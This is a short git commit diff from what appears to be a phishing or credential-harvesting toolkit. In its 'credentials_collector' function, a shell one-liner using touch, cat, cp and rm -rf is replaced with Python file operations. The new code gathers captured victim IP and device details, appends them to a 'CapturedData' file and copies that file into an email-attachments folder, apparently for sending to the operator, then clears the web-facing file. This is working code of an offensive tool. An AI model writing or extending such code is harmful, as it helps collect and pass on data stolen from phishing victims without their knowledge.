Fixed adding to ips.txt

This commit is contained in:
sTiKyt 2020-05-08 14:38:44 +03:00
parent a9e9182daf
commit 9b7bbd114e
No known key found for this signature in database
GPG Key ID: 510E1C3C9B2414B4

View File

@ -81,7 +81,22 @@ def credentials_collector(port):
lines = creds.read().rstrip()
if len(lines) != 0:
log_writer('\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n {0}{2}{1}'.format(default_palette[2], default_palette[3], lines))
run_command('touch Server/CapturedData/ip.txt && cat Server/www/ip.txt >> Server/CapturedData/ip.txt && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt && rm -rf Server/www/ip.txt && touch Server/www/ip.txt')
#run_command('touch Server/CapturedData/ip.txt
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
captured_ips = open('Server/CapturedData/ip.txt', 'a')
new_ips = open('Server/www/ip.txt')
captured_ips.write(new_ips.read())
new_ips.close()
captured_ips.close()
# && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt')
# && rm -rf Server/www/ip.txt
new_ips = open('Server/www/ip.txt', 'w')
# && touch Server/www/ip.txt')
new_ips.write('')
new_ips.close()
creds.close()